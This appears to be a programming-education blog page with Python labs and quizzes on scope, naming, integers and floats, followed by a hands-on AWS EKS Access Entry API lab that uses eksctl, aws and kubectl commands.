Skip to main content

Python Global vs. Local Variables Lab

· 4 min read

Lab 1: The "Global" Keyword Switch Try to modify a configuration setting from inside a function.​

config_mode = "DEFAULT"

def switch_to_debug():
global config_mode # Unlock access to the global variable
config_mode = "DEBUG"
print("Inside function: Mode switched to", config_mode)

print("Before:", config_mode)
switch_to_debug()
print("After:", config_mode)
# Output: After: DEBUG (It permanently changed)

Lab 2: The "Shadowing" Experiment See how local variables protect themselves from the outside world.​

user = "Admin" # Global

def login_guest():
user = "Guest" # This is a NEW local variable. It does not touch the global 'user'.
print(f"Logged in as: {user}")

login_guest() # Output: Logged in as: Guest
print(f"Global User is still: {user}") # Output: Global User is still: Admin

Lab 3: The nonlocal Keyword (Nested Functions)​

Scenario: You are writing a "Retry Logic" wrapper for a shaky API connection. You need a counter that tracks retries, but this counter lives inside a helper function, not globally.

Concept: The nonlocal keyword allows a nested function to modify a variable in the outer function (not the global scope).

def connection_manager():
# Enclosing scope variable
attempts = 0

def try_connect():
nonlocal attempts # Unlock access to the outer variable
attempts += 1
print(f"Attempt #{attempts}: Connecting to AWS...")

return try_connect

# Create the specific connection instance
retry = connection_manager()

retry() # Output: Attempt #1: Connecting to AWS...
retry() # Output: Attempt #2: Connecting to AWS...
retry() # Output: Attempt #3: Connecting to AWS...
  • Architect Note: If we used global, it would mess up other connection managers running in parallel. nonlocal keeps the state isolated to this specific instance. This is how "Closures" work in Python.

Lab 4: The "Mutable Default Argument" Trap (Critical!)​

Scenario: You have a function to add a security tag to a list of servers. You set an empty list [] as the default value.

The Bug: Python creates default arguments once when the function is defined, not every time it runs. This leads to data leaking between function calls.

# BAD PRACTICE (Don't do this)
def register_server(name, server_list=[]):
server_list.append(name)
return server_list

# First call - looks fine
print(register_server("Web-01"))
# Output: ['Web-01']

# Second call - checking a totally different server...
# WAIT! Why is Web-01 still there?
print(register_server("DB-01"))
# Output: ['Web-01', 'DB-01'] -> Data Leak!

# CORRECT PRACTICE (Do this)
def register_server_safe(name, server_list=None):
if server_list is None:
server_list = [] # Create a fresh list every time
server_list.append(name)
return server_list

print(register_server_safe("Web-01")) # ['Web-01']
print(register_server_safe("DB-01")) # ['DB-01'] -> Clean!
  • Architect Note: This specific bug has caused major security incidents where one user sees another user's data. Always use None as a default for lists or dictionaries.

Lab 5: Scope in Loops (The "Leaky Variable")​

Scenario: You are iterating through a list of old log files to delete them. You print the last file name after the loop finishes.

Concept: In Python, variables defined inside a for loop leak out to the surrounding scope (unlike C++ or Java).

file_name = "System-Critical-Config.xml" # Important file

files_to_delete = ["temp1.log", "temp2.log", "error.log"]

for file_name in files_to_delete:
print(f"Deleting {file_name}...")

# The loop is finished. What is 'file_name' now?
print(f"Warning! The variable 'file_name' is now: {file_name}")
# Output: Warning! The variable 'file_name' is now: error.log
  • Architect Note: Be careful! The loop variable file_name overwrote your important file_name variable from the top. Always choose unique names for loop variables (e.g., for target_file in files_to_delete:).

Lab 6: The globals() and locals() Debugger​

Scenario: You are debugging a complex script and want to see everything that is currently alive in memory.

Concept: Python has built-in functions that return a dictionary of all current variables.

x = 100
y = "DevOps"

def debugger_tool():
z = 3.14
print("--- Local Variables (Inside Function) ---")
print(locals())

debugger_tool()

print("\n--- Global Variables (Selected) ---")
# globals() is huge, so let's just check for our specific variable
current_globals = globals()
if 'x' in current_globals:
print(f"Found Global x: {current_globals['x']}")

#Output
--- Local Variables (Inside Function) ---
{'z': 3.14}

--- Global Variables (Selected) ---
Found Global x: 100

Python Global vs. Local Variables Quiz

· 6 min read

Progress

Score: 0/20

🎩 Master Quiz: Global vs. Local

20 Questions to test your Scope management skills. Green = Correct, Red = Incorrect.

BeginnerAnalogy

In the Office Analogy, what represents a Local Variable?​

  • **A) The Public Notice Board**
  • **B) The Building Security Guard**
  • **C) Your Private Notebook**
  • **D) The Elevator**

💡 Explanation​

Your Private Notebook.

Local variables are like notes inside your private cabin (function). People outside cannot see or access them.

BeginnerScope

Where are Global Variables created?​

  • **A) Inside a function**
  • **B) At the top level (Main script)**
  • **C) Inside a class only**
  • **D) In a separate file only**

💡 Explanation​

At the top level.

Variables declared outside of any function are Global and accessible everywhere in the script.

IntermediateAccess Rule

Can a function read (print) a Global variable without special keywords?​

  • **A) Yes**
  • **B) No, it raises an error**
  • **C) Only if the variable is an integer**
  • **D) Only if the function is empty**

💡 Explanation​

Yes.

Functions can read global variables by default. The issue only arises when you try to modify them.

IntermediateBehavior

What happens if you type x = 10 inside a function, but x already exists globally?​

  • **A) It overwrites the Global x**
  • **B) It creates a new Local x**
  • **C) It raises a SyntaxError**
  • **D) It deletes the Global x**

💡 Explanation​

It creates a new Local x.

Python assumes any assignment inside a function creates a local variable, leaving the global one untouched (shadowing).

ArchitectCode Smell

Why are excessive Global Variables considered a "Code Smell"?​

  • **A) They use too much CPU**
  • **B) They are too slow to access**
  • **C) They cause Tight Coupling (Debugging Nightmare)**
  • **D) They cannot be deleted**

💡 Explanation​

Tight Coupling.

If 10 functions rely on one global variable and one changes it unexpectedly, all 10 functions might break.

AdvancedKeywords

Which keyword allows you to modify a global variable inside a function?​

  • **A) global``**
  • **B) static``**
  • **C) external``**
  • **D) public``**

💡 Explanation​

global

You must explicitly state global x inside the function before assigning a new value to it.

IntermediateLifetime

When does a Local Variable "die" (get removed from memory)?​

  • **A) When the program ends**
  • **B) When the function finishes running**
  • **C) Every 5 minutes**
  • **D) Never**

💡 Explanation​

When the function finishes.

Local variables are temporary. This makes them memory efficient.

ArchitectLEGB Rule

What is the order in which Python looks for variables?​

  • **A) Global -> Local -> Built-in**
  • **B) Built-in -> Global -> Local**
  • **C) Local -> Enclosing -> Global -> Built-in**
  • **D) Random Order**

💡 Explanation​

LEGB Rule.

Local first. If not found, check Enclosing. If not found, check Global. Finally, check Built-in.

AdvancedMutable Globals

If logs = [] is global, can a function do logs.append("Error") without the global keyword?​

  • **A) Yes**
  • **B) No**
  • **C) Only in Python 2**
  • **D) Only if the list is empty**

💡 Explanation​

Yes.

You are modifying the contents of the object, not assigning a new object to the variable name. Therefore, global is not needed.

AdvancedError Handling

What causes UnboundLocalError: local variable referenced before assignment?​

  • **A) The variable name is too long**
  • **B) Trying to print a variable, then assigning it later in the function**
  • **C) Importing a missing module**
  • **D) Using a global variable correctly**

💡 Explanation​

Referencing before assignment.

If Python sees x = 5 anywhere in the function, it treats x as local for the entire function. If you try to print x before that line, it crashes.

ArchitectNaming Convention

What is the best practice naming convention for Global Constants?​

  • **A) camelCase (myConstant)**
  • **B) snake_case (my_constant)**
  • **C) ALL_CAPS (MY_CONSTANT)**
  • **D) PascalCase (MyConstant)**

💡 Explanation​

ALL_CAPS.

This signals to other developers: "This is a global constant. Do not change it." Example: API_URL.

BeginnerIsolation

If Function A has x=10 and Function B has x=20, do they interfere?​

  • **A) Yes, they overwrite each other**
  • **B) No, local variables are isolated**
  • **C) Only if they run at the same time**
  • **D) Yes, if they are in the same file**

💡 Explanation​

No, they are isolated.

Local variables are like private notebooks. The x in Function A has no relation to the x in Function B.

IntermediateUse Cases

Which of these is a good candidate for a Local Variable?​

  • **A) A loop counter (i)**
  • **B) The Database Port**
  • **C) The Application Name**
  • **D) The API Key**

💡 Explanation​

A loop counter.

Temporary values used for calculations or iteration should always be local.

ArchitectSecurity

Where should sensitive data like a user's password be stored?​

  • **A) Global Variable**
  • **B) Local Variable**
  • **C) In a text file**
  • **D) In the function name**

💡 Explanation​

Local Variable.

Local variables are cleared from memory immediately after use. Globals persist, increasing the risk of memory dumps exposing secrets.

IntermediateCode Analysis

x = 5
def test():
print(x)
test()

What is the output?​

  • **A) 5**
  • **B) Error: UnboundLocalError**
  • **C) None**
  • **D) 0**

💡 Explanation​

5.

The function tries to read x. It doesn't find it locally, so it looks up to the Global scope and finds 5.

IntermediateCode Analysis

x = 5
def test():
x = 10
print(x)
test()
print(x)

What is the output?​

  • **A) 10 then 10**
  • **B) 5 then 5**
  • **C) 5 then 10**
  • **D) 10 then 5**

💡 Explanation​

10 then 5.

Inside the function, x is 10 (Local). Outside, x remains 5 (Global) because the function created a new variable instead of modifying the global one.

AdvancedZombie Variables

What is a "Zombie Variable"?​

  • **A) A deleted variable**
  • **B) A variable named 'zombie'**
  • **C) A global variable that changes unexpectedly**
  • **D) A constant**

💡 Explanation​

A global that changes unexpectedly.

This occurs when you lose track of which function is modifying a global variable, causing values to "come back from the dead" or change randomly.

ArchitectMemory

Which type of variable relies on Garbage Collection happening "sooner"?​

  • **A) Global**
  • **B) Local**
  • **C) Both are same**
  • **D) Constants**

💡 Explanation​

Local variables.

Since they go out of scope as soon as the function returns, they are candidates for immediate cleanup, freeing up RAM.

BeginnerAccess

Can the main script access a variable created inside a function?​

  • **A) Yes, always**
  • **B) No, it is out of scope**
  • **C) Yes, if using Python 3**
  • **D) Yes, if the function is void**

💡 Explanation​

No.

What happens in the function, stays in the function. The main script cannot see inside local scopes.

IntermediateExplicit Declaration

If you want to read a global variable, do you NEED to write global x?​

  • **A) Yes**
  • **B) No**
  • **C) Only for lists**
  • **D) Only for strings**

💡 Explanation​

No.

You only need the global keyword if you intend to assign (write) a new value to it.

🎉 Quiz Complete!​

Your Final Score:

0/20 Novice

Keep practicing to reach Architect level!

  • **↺ Retake Quiz**

Python Integer Lab

· 2 min read

Lab1: Testing the "Magic Box"​

Copy and paste this into your Python terminal to see the magic:

import sys

# 1. Test the "Unlimited" growth
big_number = 10**100
print(f"Google: {big_number}")

# 2. Check memory size of a small vs large number
small_num = 0
huge_num = 10**50
print(f"Size of 0: {sys.getsizeof(small_num)} bytes")
print(f"Size of huge_num: {sys.getsizeof(huge_num)} bytes")

# 3. Integer Interning (Memory Shortcut)
a = 256
b = 256
print(f"Is a same as b? {a is b}") # True (Interned)

c = 300
d = 300
print(f"Is c same as d? {c is d}") # False (Not interned in all environments)

Lab 1: Proving the "Magic Expandable Box"​

In this lab, we will calculate a number so large it would crash a standard C++ or Java program (unless using specific BigInt libraries).

# Calculate 2 to the power of 1000
massive_power = 2**1000

print(f"Total Digits: {len(str(massive_power))}")
print(f"The Result: {massive_power}")

# Observation: Notice how Python handles this instantly without an 'Overflow' error.

Lab 2: Detecting "Integer Interning" (The Memory Optimization)​

Python saves memory by reusing the same address for small integers. Let's find the "Boundary."

def check_interning(n):
x = n
y = n
return x is y # 'is' checks if they share the same memory address

print(f"Is 256 interned? {check_interning(256)}") # Should be True
print(f"Is 257 interned? {check_interning(257)}") # Usually False (depends on Python version/shell)

Lab 3: Security & DoS Protection (The 4,300 Digit Limit)​

As a DevSecOps professional, you need to know how Python protects itself from "String Conversion" attacks.

import sys

# Create a very large number (e.g., 5000 digits)
large_val = 10**5000

try:
# Try to convert it to a string (print uses str() internally)
print(str(large_val))
except ValueError as e:
print(f"SECURITY ALERT: {e}")

# Solution: If you NEED to handle larger strings for a specific project:
sys.set_int_max_str_digits(10000)
print("Limit increased. Now I can print it!")

Lab 4: Bitwise Operations for Networking​

Integers are often used to calculate Subnet Masks. Let's see how bitwise AND works.

# IP Address parts in binary
ip_part = 192 # Binary: 11000000
mask_part = 255 # Binary: 11111111

# Bitwise AND
network_id = ip_part & mask_part

print(f"Network ID Part: {network_id}")
print(f"Binary of 192: {bin(ip_part)}")

Python Naming Conventions quiz

· 5 min read

Progress

Score: 0/20

🎩 Master Quiz: Python Naming

20 Questions. Prove your DevSecOps Expertise! Green = Correct, Red = Incorrect.

BeginnerAnalogy

In the "Dress Code" analogy, what corresponds to a "Sherwani or Suit"?​

  • **A) Python Syntax (The Law)**
  • **B) Conventions (Respectful & Clean)**
  • **C) The Compiler (The Judge)**
  • **D) Hardware (The Venue)**

💡 Explanation​

Conventions.

Just like wearing a suit isn't illegal but is respectful, conventions make your code professional.

BeginnerVariable Style

  • **A) Snake Case**
  • **B) Camel Case**
  • **C) Pascal Case**
  • **D) Hungarian Notation**

💡 Explanation​

Snake Case.

Lowercase with underscores (e.g., user_login_count) is the Python standard.

IntermediateClass Naming

Which style is strictly used for Class Names?​

  • **A) snake_case**
  • **B) camelCase**
  • **C) PascalCase**
  • **D) UPPER_CASE**

💡 Explanation​

PascalCase.

Example: StudentData. This allows instant recognition: if it's capitalized, it's a Class.

ArchitectAutomation

Which tool in a CI/CD pipeline automates style checks?​

  • **A) Debugger**
  • **B) Linter (e.g., pylint)**
  • **C) Compiler**
  • **D) Interpreter**

💡 Explanation​

Linters.

Tools like pylint or flake8 automatically reject code that violates PEP 8.

IntermediateConstants

How should you write a constant like "API URL"?​

  • **A) api_url**
  • **B) ApiUrl**
  • **C) apiUrl**
  • **D) API_URL**

💡 Explanation​

UPPER_CASE.

Constants use all caps with underscores, e.g., PI or API_URL.

AdvancedRefactoring

Refactor employeeID to standard Python style.​

  • **A) EmployeeId**
  • **B) employee_id**
  • **C) employeeid**
  • **D) EMPLOYEE_ID**

💡 Explanation​

employee_id (Snake Case).

employeeID is camelCase (Java style). In Python, variables must be snake_case.

IntermediateAnti-Patterns

Why avoid Hungarian Notation (e.g., strName)?​

  • **A) It is too short**
  • **B) It uses too much memory**
  • **C) Python is dynamic; types change**
  • **D) It is illegal syntax**

💡 Explanation​

Python is dynamic.

strName is misleading if the variable later holds a number or object.

BeginnerDescriptive Naming

Which name follows the "Meaning Rule" best?​

  • **A) d = 10**
  • **B) days = 10**
  • **C) days_since_last_login = 10**
  • **D) val = 10**

💡 Explanation​

days_since_last_login.

Code is read more often than it is written. Being explicit saves time for the next developer.

AdvancedLegacy Code

When might you be forced to use camelCase?​

  • **A) In libraries like unittest``**
  • **B) For private variables**
  • **C) In Python 3.10+**
  • **D) Never**

💡 Explanation​

In external/legacy libraries.

Libraries like unittest use Java styles (e.g., setUp). You must match them to use them.

ArchitectSingle Letter Vars

When are variables like x or i acceptable?​

  • **A) For main data storage**
  • **B) In short loops or math formulas**
  • **C) For database connections**
  • **D) Always**

💡 Explanation​

In short loops or math.

Using i for a loop counter is standard. For everything else, be descriptive.

AdvancedPackage Naming

What is the convention for Package names?​

  • **A) short_lowercase**
  • **B) PascalCase**
  • **C) camelCase**
  • **D) UPPERCASE**

💡 Explanation​

Short, all-lowercase names.

Packages (directories) should have short, all-lowercase names. Underscores are discouraged unless necessary.

AdvancedExceptions

How should you name a custom Exception?​

  • **A) database_crash``**
  • **B) DatabaseCrash``**
  • **C) DatabaseError``**
  • **D) ErrorDatabase``**

💡 Explanation​

PascalCase ending with "Error".

Since Exceptions are classes, they use PascalCase. The convention is to suffix them with Error (e.g., ValueError).

ArchitectProtected Members

What does a single underscore prefix (_var) mean?​

  • **A) It is a system variable**
  • **B) It is for "Internal Use" (Protected)**
  • **C) It is strictly private**
  • **D) It cannot be imported**

💡 Explanation​

Internal Use Only (Protected).

This is a polite convention telling other developers: "Please don't access this directly from outside the class."

ArchitectName Mangling

What happens with double underscores (__var)?​

  • **A) Nothing special**
  • **B) It becomes global**
  • **C) Name Mangling triggers**
  • **D) It deletes the variable**

💡 Explanation​

Name Mangling.

Python renames __var to _ClassName__var to prevent subclasses from accidentally overwriting it. It is the closest thing to "Private".

IntermediateKeyword Conflicts

How do you name a variable if it conflicts with a keyword (e.g., class)?​

  • **A) klass``**
  • **B) class_ (Trailing Underscore)**
  • **C) Class``**
  • **D) _class``**

💡 Explanation​

Trailing Underscore (class_).

PEP 8 recommends adding a single trailing underscore to avoid conflicts with Python keywords.

BeginnerMethod Arguments

What is the first argument of an instance method?​

  • **A) self``**
  • **B) this``**
  • **C) me``**
  • **D) obj``**

💡 Explanation​

self.

While you could name it anything, using anything other than self is extremely confusing for Python developers.

IntermediateClass Methods

What is the first argument of a @classmethod?​

  • **A) self``**
  • **B) class``**
  • **C) cls``**
  • **D) type``**

💡 Explanation​

cls.

For class methods, the convention is strictly cls. Using self here would be misleading.

AdvancedWhitespace

Which assignment follows PEP 8 whitespace rules?​

  • **A) x=1``**
  • **B) x = 1``**
  • **C) x = 1``**
  • **D) x =1``**

💡 Explanation​

x = 1 (Spaces on both sides).

Always surround assignment operators with a single space to let the code "breathe".

ArchitectGlobal Variables

How do you name a module-level global variable?​

  • **A) _my_global (if internal) or my_global``**
  • **B) MyGlobal``**
  • **C) g_MyGlobal``**
  • **D) GLOBAL_VAR``**

💡 Explanation​

Snake Case (with optional underscore).

Globals follow the same rules as functions (snake_case). If they are constants, use UPPER_CASE.

IntermediateImport Aliases

Which import alias is standard?​

  • **A) import pandas as p``**
  • **B) import numpy as num``**
  • **C) import pandas as pd``**
  • **D) import tensorflow as t``**

💡 Explanation​

pd for pandas.

Using standard aliases (np, pd, plt) makes your code readable to the entire data science community.

🎉 Quiz Complete!​

Your Final Score:

0/20 Novice

Keep practicing to reach Architect level!

  • **↺ Retake Quiz**

Python float Lab

· 8 min read

Lab: The Floating-Point Trap​

Try running this in your Python terminal to see the logic gap:

  • Step 1: Calculate 0.1 + 0.2.

  • Step 2: Compare it to 0.3.

  • Step 3: Use the decimal module to see the "true" value.

Python

import decimal

# The Trap
print(0.1 + 0.2 == 0.3) # Result: False

# The Reality
print(decimal.Decimal(0.1))
# You will see: 0.1000000000000000055511151231257827021181583404541015625

Lab: Basics & Type Conversion​

Task:

Calculate the total and print its type.

Create a variable price with the value 19.99.

Convert the integer 5 to a float and store it in quantity.

import math

price = 19.99
quantity = float(5)
total = price * quantity
print(f"Total: {total}, Type: {type(total)}")
# Output: Total: 99.95, Type:

Lab: Precision & Rounding​

Use a built-in function to round result to 2 decimal places.

Calculate $0.1 + 0.2$ and store it in result.

Print result. (Note: Observe if it is exactly 0.3).

import math

result = 0.1 + 0.2
print(f"Raw result: {result}")
# Output: 0.30000000000000004 (Due to binary floating-point representation)

rounded_result = round(result, 2)
print(f"Rounded: {rounded_result}")

Why does 0.1 + 0.2 not equal 0.3?

In Python (and most programming languages), floats are represented in binary (base-2). Just as the fraction 1/3 cannot be perfectly represented in decimal (it's 0.3333...), the fraction 1/10 (0.1) cannot be perfectly represented in binary. This leads to the tiny "overflow" you see in the raw result.


Lab: Formatting Output​

Task:

Given pi_approx = 22 / 7, print the value formatted to exactly 3 decimal places using an f-string.

import math
pi_approx = 22 / 7
print(f"Pi to 3 decimal places: {pi_approx:.3f}")

Lab: The math Module​

Task:

Use math.isclose() to check if 0.1 + 0.2 is effectively equal to 0.3.

Import the math module.

Use math.floor() and math.ceil() on the number 4.7.

import math

val = 4.7
print(f"Floor: {math.floor(val)}") # 4
print(f"Ceil: {math.ceil(val)}") # 5

# Checking equality for floats
comparison = math.isclose(0.1 + 0.2, 0.3)
print(f"Is 0.1 + 0.2 close to 0.3? {comparison}")

Lab: The Initialization​

Goal: Create a script that handles user input for a grocery store.

  • Ask the user for the price of an item (e.g., 2.50).

  • Ask for the quantity (e.g., 3).

  • Calculate the total. Even if the user enters "3", ensure the calculation treats it as a float.

  • Bonus: Print the memory address of the float variable using id().

import math

# Using float() to wrap input ensures we don't get a string error
price = float(input("Enter price: ")) # User enters 2.5
quantity = float(input("Enter quantity: ")) # User enters 3
total = price * quantity

print(f"Total: {total}") # Output: 7.5
print(f"Memory ID: {id(total)}")

Lab:​

 The Precision Paradox​

Goal: Demonstrate why developers never use floats for financial calculations.

  • Add 0.1 and 0.2.

  • Compare the result to 0.3 using the == operator.

  • Explain why the result is False using a comment.

import math

result = 0.1 + 0.2
print(f"0.1 + 0.2 is {result}")
# Result: 0.30000000000000004
print(result == 0.3) # Output: False

# Fix: Use math.isclose for floating point comparison
print(math.isclose(result, 0.3)) # Output: True

Lab:​

Advanced Rounding​

Goal: Explore the math module.

  • Given val = 12.51, use three different methods to turn it into a whole number:

  • math.floor()

  • math.ceil()

  • int() conversion.

  • Observe how they differ for the same value.

import math

val = 12.51
print(math.floor(val)) # 12 (Down to nearest integer)
print(math.ceil(val)) # 13 (Up to nearest integer)
print(int(val)) # 12 (Truncates everything after decimal)

Lab:​

Scientific Notation & Large Numbers​

Goal: Work with very small and very large floats.

  • Create a variable atoms equal to 6.022×1023.

  • Create a variable size equal to 0.000000005.

  • Print them and see how Python automatically formats them.

import math

### Solution 4: Scientific Notation
atoms = 6.022e23
size = 5e-9
print(atoms) # 6.022e+23
print(size) # 5e-09

Lab:​

The "Boss Level" Precision (The decimal Module)​

Goal: Fix the floating-point error from Challenge 2 using Python's decimal module.

  • Import Decimal from the decimal module.

  • Create two variables using Decimal, but initialize them with strings ("0.1" and "0.2").

  • Add them together and compare the result to Decimal("0.3").

  • Question: Why must we use strings inside Decimal() instead of raw floats?

from decimal import Decimal

### Solution 5: The Decimal Module
# Using strings ensures the decimal starts exact.
# If you used Decimal(0.1), you'd just be wrapping an imprecise float!
d1 = Decimal("0.1")
d2 = Decimal("0.2")
d_sum = d1 + d2

print(f"Decimal Sum: {d_sum}") # Output: 0.3
print(d_sum == Decimal("0.3")) # Output: True

Lab:​

 Infinity and "Not a Number"​

  • Create a variable inf_val by converting the string "inf" to a float.

  • Create a variable nan_val by converting the string "nan" to a float.

  • Try adding 1 to inf_val. What happens?

from decimal import Decimal

### Solution 6: Infinity and NaN
inf_val = float("inf")
nan_val = float("nan")

print(inf_val + 1) # Output: inf (Infinity plus anything is still infinity)
print(nan_val == nan_val) # Output: False
# EXPLANATION: NaN is never equal to anything, including itself.
# To check for NaN, use math.isnan().

Lab:​

Floating Point Representation​

Goal: See how Python "thinks" about a float under the hood.

  • Take the float 0.125.

  • Use the method .as_integer_ratio() on it.

  • Question: What does this method tell you about how the float is stored?

from decimal import Decimal

val = 0.125
ratio = val.as_integer_ratio()
print(ratio) # Output: (1, 8)
# EXPLANATION: 0.125 is exactly 1/8.
# Since 8 is a power of 2, this float is perfectly precise in binary

 When to use what?​

ScenarioRecommended ToolGeneral Science/PhysicsStandard float (Fast, handles scientific notation well).Money / Accountingdecimal.Decimal (Slow, but 100% accurate to human decimals).Complex Mathmath or cmath module.Massive Data Setsnumpy.float64 (Extremely memory efficient).


Lab:​

Mixed-Type Arithmetic​

Goal: Understand "Coercion" (how Python promotes types).

  • Create an integer a = 5 and a float b = 2.0.

  • Divide a / 2. What is the resulting type?

  • Perform a + b. What is the resulting type?

  • Question: Why does Python choose to turn integers into floats during math instead of the other way around?

import math

### Solution 8: Type Coercion
a = 5
b = 2.0

print(type(a / 2)) # (True division always returns a float)
print(type(a + b)) #

# EXPLANATION: Python "promotes" the integer to a float because floats
# can represent a wider range of values (like decimals).
# Converting a float to an int would lose data (truncation).

Lab:​

Dealing with "Dirty" Strings​

Goal: Clean up data commonly found in web scraping or CSV files.

  • You are given a list of prices as strings: raw_data = ["$12.50", " 100.99 ", "N/A", "5.00"].

  • Loop through the list and:

  • Strip the $ sign.

  • Remove extra whitespace.

  • Skip or handle strings like "N/A" so the code doesn't crash.

  • Convert the valid prices to floats and sum them.

import math

raw_data = ["$12.50", " 100.99 ", "N/A", "5.00"]
clean_prices = []

for item in raw_data:
try:
# Clean the string
processed = item.replace("$", "").strip()
# Attempt conversion
clean_prices.append(float(processed))
except ValueError:
print(f"Skipping invalid data: {item}")

print(f"Total: {sum(clean_prices)}") # Output: 118.49

Lab:​

The fsum Advantage​

Goal: Learn how to sum a large list of floats without losing a single cent.

  • Create a list: values = [0.1] * 10.

  • Sum them using the standard sum(values).

  • Sum them using math.fsum(values).

  • Compare the results.

import math

values = [0.1] * 10

standard_sum = sum(values)
precise_sum = math.fsum(values)

print(f"Standard: {standard_sum}") # Output: 0.9999999999999999
print(f"fsum: {precise_sum}") # Output: 1.0

# EXPLANATION: math.fsum tracks the "lost" precision bits during
# each addition, making it superior for summing long lists of floats.

Lab:​

Bits and Bytes​

Goal: Visualize how a float looks in its hex (hexadecimal) form.

  • Python floats have a .hex() method. Take the float 2.5 and 0.1 and print their hex strings.

  • Question: Why is the hex for 2.5 much shorter and "cleaner" than the hex for 0.1?

import math

### Solution 11: Hex Representation
print((2.5).hex()) # Output: '0x1.4000000000000p+1'
print((0.1).hex()) # Output: '0x1.999999999999ap-4' (Notice the repeating '9999...')

# EXPLANATION: 2.5 is a "dyadic" rational (the denominator is a power of 2),
# so it terminates in binary. 0.1 repeats infinitely, just like 1/3 in decimal.

Lab:​

Comparison with Epsilon​

Goal: Understand the "smallest possible" difference.

  • In numerical computing, we often compare a difference to a tiny value called Epsilon.

  • Calculate the absolute difference between (0.1 + 0.2) and 0.3.

  • Check if this difference is smaller than 1e-15.

import math

diff = abs((0.1 + 0.2) - 0.3)
epsilon = 1e-15

print(f"Difference: {diff}")
print(f"Is it negligible? {diff < epsilon}") # Output: True

# NOTE: This is essentially what math.isclose() does under the hood.

Lab:​

List Filtering & Overflow​

Goal: Handle a list containing "broken" float data.

  • Create a list: data = [1.5, float('inf'), 2.2, float('nan'), 3.7, -float('inf')].

  • Write a list comprehension to create a new list that only contains finite, real numbers (no inf or nan).

  • Hint: Use math.isfinite().

### Solution 13: Filtering with math.isfinite()
data = &#91;1.5, float('inf'), 2.2, float('nan'), 3.7, -float('inf')]

# math.isfinite() returns False for NaN and both positive/negative Infinity
clean_data = &#91;x for x in data if math.isfinite(x)]

print(f"Cleaned Data: {clean_data}") # Output: &#91;1.5, 2.2, 3.7]

Python Integer Quiz

· One min read

Int Mastery

Score: 0/20

🔢 Master Quiz: Python Integers

Test your knowledge on Unlimited Precision, Interning, and the "Smart Box" architecture.

🎉 Challenge Complete!​

Your Final Score:

0/20 Novice

  • **↺ Retake Quiz**

EKS Access Management API Lab

· 5 min read

Why Access Entries are Better for DevSecOps​

The legacy aws-auth method was essentially a "black box" to AWS IAM. Kubernetes handled the mapping internally. The new API brings several improvements:

  • Auditability: Every change is logged in AWS CloudTrail. You can see exactly who granted permissions and when.

  • No YAML Risk: You use AWS CLI, Terraform, or Pulumi commands. No more manual editing of a sensitive system ConfigMap.

  • Decoupled Permissions: You can grant access to an IAM role without having to create a corresponding Kubernetes RBAC Group manually in some cases, using Access Policies.

  • Visibility: You can run aws eks list-access-entries to see exactly who has access to your cluster directly from the AWS Console or CLI.

How it Works: The Three Components​

Instead of one giant string in a ConfigMap, the new system uses three distinct AWS resources:

  • Access Entry: The "Identity" link. It tells EKS that a specific IAM Principal (User or Role) is allowed to talk to the cluster.

  • Access Policy: The "Permission" set. These are AWS-managed policies (like AmazonEKSAdminPolicy or AmazonEKSViewPolicy) that map to Kubernetes permissions.

  • Policy Association: The "Binding." This links the Access Entry to the Access Policy, scoped to a specific namespace or the whole cluster.

Lab: The Modern Way (Access Entry API)​

If you still have your cluster from the previous step (or create a new one with --authentication-mode API), here is how you would grant the same "Reader" access using the new API.

Prerequisites​

  • AWS CLI and eksctl installed.

  • Your AWS Account ID and preferred Region.

Step 1: Provision an EKS Cluster (API Mode)​

To use the modern API, we must set the authentication mode to API. This completely ignores the aws-auth ConfigMap.

Bash

eksctl create cluster \
--name modern-access-lab \
--region \
--nodegroup-name standard-nodes \
--node-type t3.medium \
--nodes 2 \
--authentication-mode API

``

eksctl create cluster \
--name modern-access-lab \
--region \
--nodegroup-name standard-nodes \
--node-type t3.medium \
--nodes 2 \
--authentication-mode API

(Note: Provisioning takes approximately 10–15 minutes).

2. Create the Role:

Bash

aws iam create-role \
--role-name EKS-Modern-Reader \
--assume-role-policy-document file://trust-policy.json

``

aws iam create-role \
--role-name EKS-Modern-Reader \
--assume-role-policy-document file://trust-policy.json

Step 3: Create the Access Entry​

This step registers the IAM Role with the EKS cluster. Think of this as the "Identity" phase.

Bash

aws eks create-access-entry \
--cluster-name modern-access-lab \
--principal-arn arn:aws:iam:::role/EKS-Modern-Reader \
--username modern-dev-user

``

aws eks create-access-entry \
--cluster-name modern-access-lab \
--principal-arn arn:aws:iam:::role/EKS-Modern-Reader \
--username modern-dev-user

Step 4: Associate an Access Policy​

Now we grant permissions using AWS-managed policies. We will use the AmazonEKSViewPolicy and scope it to the default namespace.

Bash

aws eks associate-access-policy \
--cluster-name modern-access-lab \
--principal-arn arn:aws:iam:::role/EKS-Modern-Reader \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
--access-scope type=namespace,namespaces=&#91;default&#93;

``

aws eks associate-access-policy \
--cluster-name modern-access-lab \
--principal-arn arn:aws:iam:::role/EKS-Modern-Reader \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
--access-scope type=namespace,namespaces=&#91;default&#93;

Step 5: Verify and Test Access​

We will now assume the role and verify that the permissions are active.

1. Configure the CLI Profile: Append this to your ~/.aws/config file:

Bash

&#91;profile eks-modern&#93;
role_arn = arn:aws:iam:::role/EKS-Modern-Reader
source_profile = default

``

&#91;profile eks-modern&#93;
role_arn = arn:aws:iam:::role/EKS-Modern-Reader
source_profile = default

2. Update Kubeconfig:

Bash

aws eks update-kubeconfig --region --name modern-access-lab --profile eks-modern

``

aws eks update-kubeconfig --region --name modern-access-lab --profile eks-modern

3. Test Read Permissions (Should Succeed):

Bash

kubectl get pods -n default

``

kubectl get pods -n default

4. Test Boundary Permissions (Should Fail): Since we scoped the policy to the default namespace, trying to view pods in kube-system should be forbidden.

Bash

kubectl get pods -n kube-system

``

kubectl get pods -n kube-system

(Expected output: Error from server (Forbidden)...)

Step 6: Audit the Access (DevSecOps Visibility)​

One major benefit of this API is visibility. You can see all access entries directly from the CLI.

Bash

aws eks list-access-entries --cluster-name modern-access-lab

``

aws eks list-access-entries --cluster-name modern-access-lab

Step 7: Cleanup​

Always delete your resources to prevent unnecessary AWS costs.

1. Restore Admin Access:

Bash

aws eks update-kubeconfig --region --name modern-access-lab

``

aws eks update-kubeconfig --region --name modern-access-lab

2. Delete Cluster and Role:

Bash

eksctl delete cluster --name modern-access-lab --region
aws iam delete-role --role-name EKS-Modern-Reader

``

eksctl delete cluster --name modern-access-lab --region
aws iam delete-role --role-name EKS-Modern-Reader

EKS aws-auth ConfigMap Lab

· 5 min read

